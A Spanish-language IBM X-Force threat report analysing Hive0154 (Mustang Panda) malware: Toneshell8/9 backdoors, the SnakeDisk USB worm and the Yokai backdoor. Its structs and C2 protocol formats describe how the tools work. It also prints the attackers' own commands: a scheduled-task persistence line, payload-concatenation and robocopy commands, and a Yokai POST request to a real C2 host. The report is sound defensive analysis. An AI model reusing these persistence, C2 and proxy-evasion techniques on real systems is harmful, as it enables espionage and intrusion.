Hive0154, también conocido como Mustang Panda, lanza la puerta trasera Toneshell actualizada y el nuevo gusano USB SnakeDisk

primer plano de un ordenador portátil que muestra un código azul con una línea roja de código hacia el centro

Autores

Golo Mühr

Malware Reverse Engineer

IBM

Joshua Chung

Cyber Threat Intelligence Analyst

IBM Security

En julio de 2025, IBM X-Force descubrió nuevo malware atribuido al actor de amenazas Hive0154. Esto incluye una variante actualizada de Toneshell que evade las detecciones y admite varias características nuevas, así como un nuevo gusano USB llamado SnakeDisk descubierto a mediados de agosto. El gusano solo se ejecuta en dispositivos con direcciones IP basadas en Tailandia y abre la puerta trasera Yokai, descubierta por Netskope en diciembre de 2024.

Principales conclusiones

  • A mediados de 2025, X-Force observó varias variantes de malware Toneshell y Pubload en archivos armados cargados principalmente desde Singapur y Tailandia.
  • Una de las variantes que evaden las detecciones de VirusTotal es la última actualización "Toneshell9". Admite la comunicación de comando y control (C2) a través de proxies configurados localmente para mezclarse con el tráfico de la red empresarial y facilita dos shells inversos en paralelo.
  • X-Force analizó un nuevo gusano USB, SnakeDisk, que solo se ejecuta en dispositivos ubicados en Tailandia, en función de su dirección IP. El gusano muestra un código superpuesto con el de Tonedisk y es capaz de detectar dispositivos USB nuevos y existentes, que convierte en arma como medio de propagación.
  • La muestra analizada de SnakeDisk deja caer la puerta trasera Yokai en los dispositivos infectados, lo que configura un shell inverso que permite a los operadores ejecutar comandos arbitrarios. Anteriormente, Yokai estuvo vinculada a campañas dirigidas a funcionarios tailandeses en diciembre de 2024.

Contexto

Hive0154 es un actor de amenazas bien establecido alineado con China con un gran arsenal de malware, técnicas consistentes y actividad bien documentada en los últimos años. El grupo está formado por múltiples subgrupos y participa en ciberataques dirigidos a organizaciones públicas y privadas, incluidos think tanks, grupos políticos, agencias gubernamentales y particulares. La observación de X-Force del uso por parte del grupo de múltiples cargadores de malware personalizados, backdoors y familias de gusanos USB muestra sus capacidades. La actividad de Hive0154 se solapa con la de los actores maliciosos conocidos públicamente como Mustang Panda, Stately Taurus, Camaro Dragon, Twill Typhoon, Polaris y Earth Preta.

Ciberespionaje dirigido a Asia Oriental

A mediados de 2025, X-Force observó varios archivos armados subidos a VirusTotal desde Singapur y Tailandia:

Nombre de archivo

DLL malicioso

Servidor C2

Fecha

Meeting Venue Request Information.zip

Cargador que inyecta código shell Pubload

188.208.141[.]
196:443

21 de mayo

Hotel Booking Request.7z

Toneshell8

146.70.29[.]
229:443

3 de julio

Cyber_Safety_
Checklist_
2025.rar

Toneshell8

146.70.29[.]
229:443

30 de julio

TNLA နှင့် အခြားတော်လှန်ရေးအင်အားစုများ.rar

(traducido del birmanés: "TNLA y otras fuerzas revolucionarias")

 Toneshell8

146.70.29[.]
229:443

30 de julio

Scan(08-02-205).zip

Toneshell8

146.70.29[.]
229:443

5 de agosto

Notes.rar

Cargador que inyecta código shell Pubload

188.208.141[.]
196:443

21 de agosto

CallNotes.zip

Cargador inyectando código shell de Toneshell7

146.70.29[.]
229:443

4 de septiembre

Se observó que Hive0154 utilizaba un nuevo cargador para inyectar de forma reflexiva Pubload o Toneshell7, así como implementar directamente la variante Toneshell8, más ofuscada. La variante más reciente de Pubload ha sufrido cambios menores y ahora admite servidores C2 señuelo y descarga de cargas útiles de shellcode a través de HTTP POST, además de TCP sin procesar que imita el tráfico TLS.

El archivo "CallNotes.zip" descubierto en septiembre se descargó de la nube de Box a través de un enlace en un señuelo PDF que suplantaba al Ministerio de Asuntos Exteriores de Myanmar:

PDF que contiene el enlace de descarga del archivo armado que implementa Toneshell7
Fig. 1: PDF que contiene el enlace de descarga del archivo armado que implementa Toneshell7

A mediados de agosto, X-Force también descubrió SnakeDisk, una nueva superposición de uso compartido de gusanos USB con variantes anteriores de Tonedisk. El gusano solo se ejecuta en dispositivos ubicados en Tailandia, según lo determinado por su dirección IP pública. SnakeDisk distribuye la puerta trasera Yokai, que Netskope vinculó públicamente a otras campañas dirigidas a Tailandia en diciembre de 2024. 

Dada la historia anterior del uso de la puerta trasera Yokai contra Tailandia, el descubrimiento del último gusano USB parecía coincidir con los recientes acontecimientos geopolíticos que rodean a Tailandia:

  • A finales de mayo de 2025, Tailandia y Camboya participaron en una escaramuza fronteriza que provocó la muerte de un soldado camboyano. Las conversaciones posteriores entre Tailandia y Camboya se interrumpieron y cada bando reforzó sus tropas a lo largo de la frontera. 
  • En junio de 2025, se filtró una llamada telefónica entre el primer ministro de Tailandia, Paetongtarn Shinawatra, y el exlíder camboyano, Hun Sen, lo que provocó la destitución del primer ministro tailandés.
  • El 24 de julio de 2025, se produjeron múltiples enfrentamientos fronterizos entre Tailandia y Camboya, incluido el uso de artillería, ataques aéreos y bombardeos navales. El 28 de julio de 2025, ambas partes llegaron a una tregua provisional, negociada por Estados Unidos y Malasia.
  • A principios de agosto de 2025, el gobierno camboyano acusó al ejército tailandés de planear un ataque asesino contra el primer ministro camboyano, lo que el gobierno tailandés negó. El gobierno camboyano citó como fuente a una "inteligencia extranjera no identificada".

Tradicionalmente, la República Popular China (RPC) ha sido una benefactora de Camboya, ya que ha suministrado armas e invertido miles de millones en proyectos de infraestructura. Los recientes acontecimientos geopolíticos podrían haber impulsado a Hive0154 a iniciar operaciones contra Tailandia. La implementación del gusano USB SnakeDisk configurado para ejecutarse solo en máquinas con sede en Tailandia, parece sugerir que Hive0154 puede estar tratando de penetrar sistemas de brecha de aire, a menudo empleados en redes del gobierno.

Actualizaciones de Toneshell8 (marzo de 2025)

X-Force observó por primera vez la versión 8 de Toneshell en marzo de 2025. Su comportamiento es muy similar al de la versión 7 anterior, pero contiene actualizaciones menores para eludir la detección estática y dificultar el análisis. El cambio más visible es la inclusión de código basura dentro de las funciones del malware. Estas secciones de código basura implementan el siguiente comportamiento:

  • Utilizar llamadas a la API para escribir archivos temporales aleatorios y borrarlos de nuevo.
  • Copiar y recorrer una cadena. Las cadenas utilizadas en las muestras iniciales se copiaron del sitio web ChatGPT de OpenAI.
  • Dormir durante intervalos aleatorios.

Estos tres ejemplos de código se pueden encontrar, por ejemplo, en la función que resuelve todas las API:

Código basura de suspensión aleatoria
Fig. 2: Código basura de suspensión aleatoria
Un fragmento de código que muestra un archivo aleatorio creado y eliminado en código basura
Figura 3: Archivo aleatorio creado y eliminado en código basura
fragmento de código que muestra un escaneo inútil de cadenas en código basura
Fig. 4: Escaneo inútil de cadenas en código basura

Los desarrolladores de Toneshell8 también optaron por reemplazar el generador de números pseudoaleatorios (PRNG) por una implementación personalizada del generador lineal congruencial (LCG) utilizando diferentes constantes, por ejemplo:

DWORD __cdecl zf_update_prng(main_struct *main_struct)
{
  main_struct->prng_state = 0xBD828 * main_struct->prng_state + 0x4373A;
  return main_struct->prng_state;
}

Los PRNG se utilizan en Toneshell para generar un ID de víctima, claves de cifrado de tráfico C2 y verificar la autenticidad de la baliza C2. Las implementaciones en las muestras de Toneshell8 varían mucho en calidad. El generador anterior, por ejemplo, es utilizado por las 4 muestras mencionadas y solo produce 11 estados diferentes para la mayoría de las semillas. 

Por último, los códigos de respuesta codificados enviados al servidor C2, que notifican a los operadores el estado de ciertos comandos, ahora se ofuscan calculándolos a partir de diferentes enteros codificados en la muestra. 

Toneshell9 (julio de 2025)

En julio, X-Force descubrió una nueva variante de Toneshell, a la que nos referiremos como Toneshell9. Contiene actualizaciones importantes y no tiene ninguna detección en VirusTotal en el momento de escribir este artículo (318a1ebc0692d1d012d20d306d6634b196cc387b1f4bc38f97dd437f117c7e20). 

La nueva variante de Toneshell se observó por primera vez en archivos RAR troyanos que contenían el software "USB Safely Remove". La estructura del código parece haberse basado en una variante bifurcada de diciembre de 2024, que contiene la configuración C2 idéntica.

Inicialización

Al igual que en las variantes anteriores, Toneshell9 se ejecuta como una DLL de carga lateral. El archivo RAR armado contiene un archivo BAT, que inicia un ejecutable legítimo "USBSRService.exe" con un argumento de línea de comando "-Embedding". Una vez que la DLL de Toneshell "EasyFuncs.dll" se carga en la memoria y se ejecuta la exportación FS_RegActiveX, comienza resolviendo un primer conjunto de API necesarias para la inicialización. Después de analizar el argumento de la línea de comandos "-Embedding", Toneshell lanza su ejecutable principal en un nuevo proceso con el argumento "EvtSys". Este último argumento desencadena el comportamiento principal de la DLL maliciosa. 

Toneshell comienza inicializando un nuevo objeto de cliente que contiene los siguientes valores:

struct TONESHELL_CLIENT
{
  BYTE is_connected;
  HANDLE heartbeat_thread;
  C2_CLIENT *p_c2_client;
  DWORD unused_C;
  VICTIM_DATA *p_victim_data;
  DWORD unused_14;
  QWORD tick_count;
};

Luego pasa a resolver el resto de sus API necesarias a través de una función hash personalizada y almacena los punteros de función en una estructura separada. A continuación, crea un nuevo evento "Módulo externo de Windows" que actúa como mutex para evitar que se ejecuten varias instancias en la misma máquina. 

Toneshell9 está plagado de varias secciones de código basura, que recupera el número actual de tics de CPU, almacena el resultado como una cadena y lo desasigna de nuevo. 

fragmento de código basura Toneshell9 dentro de la lógica de resolución de la API
Fig. 5: Código basura de Toneshell9 dentro de la lógica de resolución de la API

Para gestionar y almacenar la comunicación C2, los servidores proxy, las balizas y las cargas útiles en la memoria, Toneshell crea una instancia de un objeto grande de 129 KB:

struct C2_CLIENT
{
  std::vector<std::string> c2_list;
  SOCKADDR_IN c2_sockaddr_array[16];
  int current_c2_sockaddr_index;
  int number_of_c2s;
  BYTE key[768];
  SOCKET ptr_socket;
  DWORD beacon_tls_header;
  BYTE beacon_payload_buffer[65536];
  BYTE c2_response_buffer[65536];
  DWORD size_of_c2_response;
  BYTE critical_section[24];
  std::list<proxy_entry> proxy_list;
  int proxy_enabled;
  int current_c2_string_index;
};

A diferencia de las variantes anteriores, Toneshell9 enumera las secciones de registro HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER y HKEY_USERS\\.DEFAULT para buscar servidores proxy configurados localmente. 

fragmento de código que muestra Toneshell9 analizando servidores proxy desde el registro de Windows
Fig. 6: Toneshell9 analizando servidores proxy desde el registro de Windows

Si se encuentra un servidor, tanto el protocolo de la URL(http, https, ftp o socks) como la URL completa se almacenan como cadenas en una lista de objetos. 

A continuación, Toneshell almacena su dominio de servidor C2 y su dirección IP en un vector de cadenas. La misma IP y el mismo puerto codificados se almacenan directamente en una serie de estructuras SOCKADDR_IN. A continuación, el malware recorre las cadenas del servidor C2, resolviendo la dirección IP de cada una de ellas y añadiéndola a la misma matriz de estructuras SOCKADDR_IN.

fragmento de código que muestra Toneshell resolviendo y almacenando direcciones de servidor C2
Fig. 7: Toneshell resolviendo y almacenando direcciones de servidores C2

Como se ha observado en variantes anteriores, Toneshell procede a soltar un archivo que contiene un GUID de víctima aleatorio de 16 bytes generado a través de la función Windows_ rand():

C:\ProgramData\ProgrammaticallyCpp.inc

El GUID también se almacena en una estructura junto con la ruta del archivo y el nombre NetBIOS de la víctima. 

struct VICTIM_DATA
{
  BYTE victim_guid[16];
  BYTE computername[24];
  BYTE guid_path[24];
};

Los datos anteriores se utilizan para construir un objeto de baliza en la memoria. En particular, Toneshell9 realiza cálculos sobre la diferencia en el recuento de tics de la CPU antes y después del comportamiento de inicialización principal detallado anteriormente. Este valor está normalizado y es probable que se utilice para detectar anomalías en el tiempo de ejecución que podrían indicar un retraso en la ejecución en un entorno aislado o en la depuración. 

struct BEACON_DATA
{
  BYTE key[768];   
  BYTE code_byte;       // set to 0x02
  BYTE victim_guid[16];
  BYTE computername[80];
  DWORD tick_delta;
};

 La clave XOR de 0x300 bytes se genera mediante _rand() y se utiliza para cifrar los 101 bytes de datos, comenzando en el desplazamiento 0x300. Los datos anteriores se empaquetan en un paquete de datos de aplicación TLS 1.2 falso del siguiente formato:

struct BEACON
{
  BYTE tls_header[3];       // 17 03 03
  WORD payload_size;        // 0x0365 (big-endian)
  BYTE payload_data[869];  
};

Comunicación C2 y proxy HTTP

Durante el bucle principal, Toneshell9 ejecuta una función para establecer una conexión de socket a su servidor C2. Comienza intentando conectarse a través de la primera estructura SOCKADDR_IN. Si eso falla, el malware intenta establecer una conexión de socket a través de cualquiera de los servidores proxy recopilados del registro. Esto se intenta para cada una de las cadenas de direcciones C2, es decir, la dirección IP y el dominio de la muestra analizada anteriormente. 

Tras resolver la dirección IP del servidor proxy y conectarse mediante un socket TCP, primero establece los tiempos de espera de envío y recepción a 1 minuto. A continuación, envía la siguiente solicitud de conexión: 

CONNECT <C2 server>:<C2 port> HTTP/1.0
Host: <C2 server>:<C2 port>
Content-Length: 0
Proxy-Connection: Keep-Alive
Pragma: no-cache

Si el servidor proxy devuelve un código de estado 2xx, la conexión se ha establecido con éxito y está lista para el túnel TCP en bruto. Para verificar la conexión con su servidor C2, Toneshell9 utiliza un protocolo de enlace corto, transmitiendo también la IP y el puerto del servidor en el proceso. Si el handshake tiene éxito, el handle del socket se almacena en la struct C2_CONNECTION y los tiempos de espera del socket se fijan en 2 minutos. A continuación, Toneshell envía la primera baliza publicitaria a través del socket. 

Espera una respuesta similar de su servidor, que, aparte de los primeros 5 bytes, se cifra a través de la clave XOR transmitida anteriormente:

struct C2_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE command_code;
    BYTE shell_id;
    BYTE data[];
}

Al utilizar un proxy ya configurado en un dispositivo infectado, Toneshell puede mezclarse eficazmente con otro tráfico de red. Los entornos empresariales más grandes suelen aplicar el filtrado de salida, lo que solo permite el tráfico a través de puertas de enlace de confianza, lo que bloquearía la comunicación C2 directa. La capacidad añadida de Toneshell de eludir este filtrado le permite operar en entornos de red bien protegidos.

Shell inverso

Al recibir la primera respuesta C2, Toneshell inicia un nuevo hilo que envía balizas de respuesta similares a latidos cada 30 segundos, con el código de respuesta 0x1 y un valor shell_id aleatorio. Las balizas de respuesta tienen un formato muy similar:

struct BEACON_CMD_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE response_code;
    BYTE shell_id;
    BYTE data[];
}

Toneshell9 admite los siguientes códigos de comando:

Codifique

Descripción

2

Omite esta baliza y espera a que se maneje la siguiente.

3

Crea una nueva shell inversa y la asigna al shell_id.

4

Escribe una cadena de comandos en la shell inversa identificada por el shell_id

5

Cierra el shell inverso identificado por el shell_id

De forma similar a las variantes anteriores, se configura un shell inverso utilizando tuberías anónimas conectadas a los manejadores stdin y stdout de un nuevo proceso cmd.exe . Toneshell9 admite dos shells inversos activos en paralelo y utiliza la siguiente estructura para gestionar una conexión de shell:

struct REVERSE_SHELL
{
  int shell_id;
  BYTE cmd_path[24];
  HANDLE hReadPipe1;
  HANDLE hWritePipe1;
  HANDLE hReadPipe2;
  HANDLE hWritePipe2;
  DWORD hThread_cmd;
  DWORD hProcess_cmd;
  DWORD parent_pid;
  BYTE cmd_process_created;
  DWORD hThread_pipe_to_c2;
};

Para cada shell inverso, se crea un nuevo subproceso para comprobar periódicamente si hay nuevos datos de la canalización de salida estándar y enviarlos de vuelta al servidor C2 en una baliza con el código de respuesta 0x4. Los operadores de Toneshell pueden escribir datos de cadena en la canalización utilizando el shell_id correcto y ejecutar comandos arbitrarios en la máquina. Al cerrar un shell inverso, el proceso conhost.exe identificado por parent_pid también finaliza en la máquina. 

Gusano USB SnakeDisk

En agosto de 2025, X-Force descubrió un gusano USB previamente desconocido que se atribuyó a Hive0154. La DLL de 32 bits se cargó en VirusTotal como "01.dat" de Tailandia y presenta características similares a las de Toneshell9. Ambos se ejecutan mediante carga lateral de DLL, y todas las exportaciones, excepto DllEntryPoint y el punto de entrada del malware, apuntan a la misma función, que inmediatamente vuelve. Además, ambos presentan mecanismos de resolución de API casi idénticos, lo que coincide con casi todo el malware relacionado con Toneshell. Al igual que en el ejemplo de Toneshell9, SnakeDisk también lee un argumento de línea de comandos para seleccionar una de las dos rutas de ejecución posibles:

  • "-Embedding": inicia el comportamiento de infección USB antes de soltar y ejecutar la carga útil incrustada una vez que se elimina un dispositivo.
  • "-hope": descarta y ejecuta inmediatamente la carga útil incrustada.

Inicialización

Para ejecutar la funcionalidad de infección USB, SnakeDisk requiere un archivo de configuración, que busca en el directorio actual del ejecutable principal. Cualquier archivo que se encuentre en ese directorio, a menos que se denomine "Información de volumen del sistema", se agregará a una lista de posibles archivos de configuración. Tonedisk abre y lee cada archivo y prueba las siguientes condiciones para verificar el archivo antes de continuar con el descifrado.

  • El tamaño del archivo está entre 0x14A y 0x14000 bytes
  • Los primeros 4 bytes son el hash CRC32 correcto del resto del archivo

SnakeDisk procede a descifrar los datos utilizando un algoritmo XOR de 2 fases probablemente personalizado y una clave de 320 bytes almacenada en una cabecera de 330 bytes. 

fragmento de código que muestra el algoritmo de descifrado de configuración basado en XOR
Fig. 8: Algoritmo de descifrado de configuración basado en XOR

Por último, el malware analiza 18 valores de cadena que definen la configuración del malware. X-Force no pudo recuperar un archivo de configuración; sin embargo, el análisis de SnakeDisk reveló los siguientes propósitos probables de los valores.

Campo de configuración

Objetivo

Versión

Versión de malware utilizada para determinar si un cliente ya infectado debe reinfectarse con una variante actualizada.

mutx

Cadena de mutex.

psd

No se utiliza en la muestra analizada. Posiblemente equivalente local a "usd": todos los valores "u*" son nombres de archivos/directorios en el USB después de la militarización. 

urd

Posiblemente "directorio raíz USB". Nombre de directorio creado en el USB que contiene subdirectorios.

uud

Posiblemente "directorio de usuarios USB". Nombre del directorio en <urd> que contiene los archivos originales de los usuarios del USB.

usd

Posiblemente "directorio de staging USB". Nombre del directorio bajo <urd> que almacena varios componentes maliciosos de SnakeDisk.

pnex

Posiblemente "nombre principal ejecutable". Nombre de archivo de un archivo existente en el directorio actual de SnakeDisk durante la ejecución.

pndl

Posiblemente "nombre principal DLL". Nombre de archivo de un archivo existente en el directorio actual de SnakeDisk durante la ejecución.

pnen

Posiblemente "nombre principal cifrado". Nombre de archivo de un archivo existente en el directorio actual de SnakeDisk durante la ejecución.

pnendl

Posiblemente "nombre principal DLL cifrado". Nombre de archivo de un archivo existente en el directorio actual de SnakeDisk durante la ejecución.

unex

Posiblemente "nombre USB ejecutable". Nombre de archivo de un archivo copiado de <pnex> al USB.

undl

Posiblemente "DLL de nombre USB". Nombre de archivo de un archivo copiado de <pndl> al USB.

unen

Posiblemente "nombre USB cifrado". Nombre de archivo de un archivo copiado de <pnen> al USB.

unendl

Posiblemente "DLL cifrado con nombre USB". Nombre de archivo de un archivo copiado de <pnendl> al USB.

unendl_org

Nombre de archivo de un archivo (probablemente DLL) copiado de <pnendl> al directorio raíz del USB y oculto mediante atributos de archivo.

unconf

Nombre de archivo de la configuración de SnakeDisk soltado en el USB.

regkey

Se relaciona potencialmente con un mecanismo de persistencia del registro. No se utiliza en la muestra analizada.

schkey

Potencialmente se relaciona con un mecanismo de persistencia de tareas programadas. No se utiliza en la muestra analizada.

Tras leer correctamente su archivo de configuración, SnakeDisk intentará confirmar que se está ejecutando actualmente en un equipo con sede en Tailandia. Envía una solicitud HTTP GET a http://ipinfo[.]io/json y comprueba si el campo "país" coincide con "THA" o "TH". Si eso es cierto, la ejecución continúa.

GET /json HTTP/1.1
Connection: Keep-Alive
User-Agent: Program/1.0
Host: ipinfo.io

En particular, la ejecución también continuará si se produce un error al resolver las API o durante la comunicación de red. 

A continuación, SnakeDisk se asegura de que solo se ejecute en una única instancia intentando abrir un mutex "Global\\<mutx config value>". Si el mutex ya existe, el malware sale; de lo contrario, crea la exclusión mutua a través de CreateMutexW.

Detección de dispositivos USB

Para infectar cualquier unidad USB que ya esté conectada, SnakeDisk empieza a recorrer todas las letras de unidad posibles de la A a la Z. Abre un identificador del volumen físico, como "\\.\A:" y envía el código de control de E/S IOCTL_STORAGE_GET_HOTPLUG_INFO (0x2D0C14) al dispositivo. Si el dispositivo es un dispositivo hotplug según la estructura STORAGE_HOTPLUG_INFO devuelta, inicia un nuevo subproceso para infectar esa unidad. 

Después de pasar por todas las letras de unidad, SnakeDisk duerme durante 5 segundos y luego registra una nueva clase de ventana "TestClassName" y crea una ventana correspondiente "TestWindowName". Para recuperar los mensajes del sistema operativo, la función crea un bucle de mensajes de Windows mediante GetMessageW y envía los mensajes al procedimiento de ventana del malware mediante TranslateMessage y DispatchMessageW. Solo sale del bucle cuando recibe un mensaje WM_CAP_PAL_OPEN (0x450). La clase ventana maliciosa hace referencia a un procedimiento personalizado que escucha el mensaje WM_DEVICECHANGE (0x219), y específicamente los eventos DBT_DEVICEARRIVAL (0x8000) y DBT_DEVICEREMOVECOMPLETE (0x8004). 

fragmento de código de la función de devolución de llamada de la clase Windows que escucha los mensajes de WM_DEVICECHANGE
Fig. 9: Función de devolución de llamada de clase de ventana escuchando mensajes WM_DEVICECHANGE

Si se recibe un mensaje de este tipo, por ejemplo, cuando se conecta un dispositivo USB a la máquina infectada, la función utiliza el campo "dbcv_unitmask" de la estructura DEV_BROADCAST_VOLUME para determinar la letra de unidad del dispositivo correspondiente. Para los dispositivos recién conectados, se inicia un nuevo hilo para infectar la unidad. Si SnakeDisk detecta la eliminación de un dispositivo, inicia un hilo para soltar y ejecutar su carga útil incrustada, lo que inicia la misma ruta de ejecución que habría causado la ejecución de la DLL de SnakeDisk con el argumento de línea de comando "-hope". 

Propagación USB

El hilo para infectar un dispositivo USB detectado comienza buscando en la unidad un archivo de configuración existente para determinar si ya estaba infectado. Intenta descifrar y analizar una configuración de cualquier archivo con una extensión a.dat o .cd . Si se analiza una configuración, el malware compara el número de versión de la unidad ya infectada con la versión de su propia configuración y solo reinfectará las unidades con versiones anteriores de SnakeDisk. 

A continuación, SnakeDisk lanza otro hilo para mover los archivos existentes en el USB a un nuevo subdirectorio. Al ocultar esencialmente los archivos que el usuario espera en su USB, el malware aumenta la probabilidad de que la víctima crea que el USB aún no se ha abierto y haga clic accidentalmente en el ejecutable armado en una nueva máquina con el mismo nombre que el dispositivo. Tras la ejecución, el lanzador malicioso volvía a copiar los archivos de los usuarios para evitar cualquier sospecha. La ruta que contiene los datos del usuario en un dispositivo infectado se construye a partir de los valores de configuración como:

<drive_letter>:\<urd>\<uud>\

El malware puede usar dos mecanismos diferentes para la operación; cada uno se lanzaba en su propio hilo. El primero utiliza SHFIleOperationW para mover cada archivo y, durante cada operación, también lee 32 bytes de un archivo "C:\\Windows\\Tmp\\msd.log", que se escriben en un archivo "C:\\ProgramData\\aplicación.log" antes de eliminar lo segundo. El propósito de este comportamiento no está claro. 

código que muestra a un actor de amenaza moviendo archivos desde el USB a un nuevo directorio
Fig. 10: Mover archivos del USB a un nuevo directorio

Mientras el hilo se ejecuta, el malware comprueba regularmente si se ha completado correctamente durante 30 segundos antes de iniciar un segundo hilo. El segundo hilo utiliza robocopy para mover los archivos y ejecuta el siguiente comando en un nuevo proceso:

robocopy <drive_letter>:\ <drive_letter>:\<urd>\<uud>\ /XD
"<drive_letter>:\<urd>\" /XF "<drive_letter>:\<unendl_org>" /XF
"<drive_letter>:\<usb_volumename>.exe" /XD "System Volume Information" /E
/MOVE

Ambos movimientos de archivos excluyen los archivos armados de SnakeDisk y el archivo "Información de volumen del sistema", que debe permanecer en el directorio raíz del disco USB. Después de ejecutar el comando anterior, el mismo comando se inicia de nuevo con dos indicadores adicionales "/IS" y "/XO", para incluir los mismos archivos y excluir los archivos del directorio de origen más antiguos que el destino. 

Después de mover los archivos ya existentes en el USB, SnakeDisk pasa a copiar sus propias cargas útiles desde su directorio actual a la unidad USB. Los siguientes archivos, tal como se especifica en la configuración, se copian a través de CopyFileW, cada uno en un nuevo hilo:

.\<pnex> copied to <drive_letter>:\<urd>\<usd>\<unex>
.\<pndl> copied to <drive_letter>:\<urd>\<usd>\<undl>
.\<pnen> copied to <drive_letter>:\<urd>\<usd>\<unen>
.\<pnendl> copied to <drive_letter>:\<urd>\<usd>\<unendl>
.\<pnen> copied to <drive_letter>:\<usb_volumename>.exe
.\<pnendl> copied to <drive_letter>:\<unendl_org>

El nombre del archivo EXE en la raíz de la unidad USB se establece en el nombre del volumen del dispositivo USB, o simplemente "USB.exe" si está vacío. SnakeDisk también establece los atributos SYSTEM y HIDDEN en el archivo copiado en "<drive_letter>:\<unendl_org>". Todos los directorios del USB también llevan esos atributos, ocultando efectivamente todo excepto el ejecutable. Aunque X-Force no recuperó ninguno de los otros archivos, los gusanos USB anteriores usaban la misma técnica para atraer a las víctimas a hacer clic en el ejecutable, que cargaba manualmente una DLL para iniciar la infección. Es probable que el nombre de archivo de esa DLL maliciosa esté almacenado en el valor de configuración "unendl_org". Por último, SnakeDisk escribe su configuración en un nuevo archivo en el USB con el nombre del valor "unconf". 

Ejecución de la carga útil

El hilo de SnakeDisk responsable de soltar y ejecutar su carga útil incrustada se lanza cuando se detecta la eliminación de un dispositivo USB, o al inicio de la ejecución de SnakeDisk mediante el argumento de línea de comandos "-hope". 

En primer lugar, el hilo lee un archivo de marcador "vm.ini" en su directorio y compara el contenido con su propia ruta actual. Este archivo también se escribe después de colocar y ejecutar correctamente las cargas útiles e indica si la víctima ya se ha infectado con la carga útil integrada de SnakeDisk. Si las rutas coinciden, no se descartará ninguna carga útil y el hilo terminará. 

Tras la primera comprobación, SnakeDisk comienza a lanzar una serie de cargas útiles al directorio "C:\Users\Public\". Cada archivo se construye en la memoria a partir de valores inmediatos en funciones grandes entre 0,6 y 3,3 MB.

código que muestra una función desmontada que construye una carga útil binaria
Fig. 11: Función desmontada que construye una carga útil binaria

A continuación, las cargas útiles se descifran a través de una simple operación XOR antes de soltarlas como archivos para:

  • C:\Users\Public\srv0
  • C:\Users\Public\srv1
  • C:\Users\Public\srv2
  • C:\Users\Public\loga
  • C:\Users\Public\logb
  • C:\Users\Public\logc

Estos archivos se concatenan en grupos de tres para producir las dos cargas útiles finales mediante los siguientes comandos:

cmd.exe /c cd "c:\users\public\" & copy /b "srv0"+"srv1"+"srv2"
c:\users\public\libcef.dll
cmd.exe /c cd "c:\users\public\" & copy /b "loga"+"logb"+"logc"
c:\users\public\<randomised_name>.exe

El nombre de archivo del EXE se crea a partir de 10 letras mayúsculas y números aleatorios. Después de la concatenación, los archivos se eliminan. 

Por último, el ejecutable se lanza en un nuevo proceso con un argumento de línea de comandos codificado:

c:\users\public\<randomised_name>.exe -project-mod

No es de extrañar que el EXE (bb5bb82e5caf7d4dbbe878b75b23f793a5f3c5ca6dba70d8be447e8c004d26ce) sea un ejecutable legítimo y firmado (acwebbrowser.exe) que carga lateralmente el libcef.dll malicioso durante la ejecución. 

Puerta trasera Yokai

La carga útil de la DLL se identificó como la puerta trasera de Yokai, según informó Netskope en diciembre de 2024. Tras la ejecución, el malware primero busca el argumento "-project-mod" y luego establece la persistencia a través de una tarea programada si el usuario no es miembro del grupo del administrador:

cmd.exe /c schtasks /create /f /sc MINUTE /MO 5 /tn
"MicrosoftEdgeAcModuleUpdateTask" /tr "<path> -project-mod"

A continuación, crea un nuevo mutex "k1tpddvivh74fo1et725okr1c1" e inicializa una estructura de configuración interna. La variante que elimina SnakeDisk contiene la cadena de versión "1.0.0" y llega a un servidor C2 codificado directamente mediante solicitudes HTTP POST:

POST /kptinfo/import/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: WinHTTP Example/1.0
API-INDEX: 0
Accept-Connect: 0
Content-Length: 156
Host: 118.174.183[.]89
<encrypted data>

Como se describe en el análisis de Netskope, Yokai se utiliza para crear un shell inverso a través de canalizaciones anónimas, lo que permite a los operadores ejecutar comandos arbitrarios en la máquina infectada. 

Curiosamente, Yokai muestra solapamientos con otras familias de backdoor atribuidas a Hive0154, como Pubload/Pubshell y Toneshell. Aunque esas familias son piezas de malware claramente separadas, siguen aproximadamente la misma estructura y utilizan técnicas similares para establecer un shell inverso con su servidor C2.

Superposiciones con Tonedisk

El análisis de X-Force también reveló fuertes superposiciones entre SnakeDisk y Tonedisk. A lo largo de los años, ha habido varias familias de gusanos USB asociadas a Hive0154. X-Force rastrea las variantes fuertemente relacionadas con la familia Toneshell en sus implementaciones como Tonedisk. Hasta ahora, se han identificado 3 versiones principales de Tonedisk (A, B y C). Cada una de las versiones de Tonedisk es un conjunto de diferentes componentes maliciosos que conforman la funcionalidad completa del gusano USB. Estos componentes incluyen lanzadores, cargadores, separadores, archivos cifrados, instaladores y puertas traseras.

SnakeDisk se superpone específicamente con la variante ToneDisk A, de la que Checkpoint también informó a mediados de 2023 como WispRider. Tanto los mecanismos de propagación USB del malware como el hash de API y los archivos de configuración muestran varias similitudes, que se alinean con la conocida tendencia de los subclústeres Hive0154 a compartir y reutilizar el malware entre ellos. 

Atribución

X-Force rastrea la actividad en este informe bajo el clúster paraguas Hive0154, que se superpone parcialmente con la actividad publicada como Mustang Panda, Stately Taurus, Camaro Dragon, Twill Typhoon, Polaris, TEMP.Hex y Earth Preta. Este grupo parece mantener un ecosistema de malware bastante amplio, con frecuentes solapamientos tanto en código malicioso, técnicas utilizadas durante ataques como en la segmentación. Dentro del clúster paraguas más grande, X-Force separa al menos tres subclústeres de actividad con baja confianza, con cada clúster asociado a una de las cepas centrales de malware PlugX, Toneshell y Pubload. En particular, cada cepa de malware se combina con un marco de gusano USB diferente y una o más variantes de malware de cargador relacionadas, que cambian con más frecuencia. Se puede utilizar el mismo cargador para diferentes cargas útiles, como Toneshell o Pubload, dentro del mismo período de tiempo. Sin embargo, es importante tener en cuenta que el clúster de actividades no indica automáticamente que estén operando como subgrupos separados. 

La actividad asociada con el uso de SnakeDisk y la puerta trasera Yokai posiblemente indique otro subclúster de Hive0154. Actualmente parece estar dirigido principalmente a Tailandia, como se desprende de las comprobaciones de geolocalización de IP en los informes de SnakeDisk y Netskope

Conclusión

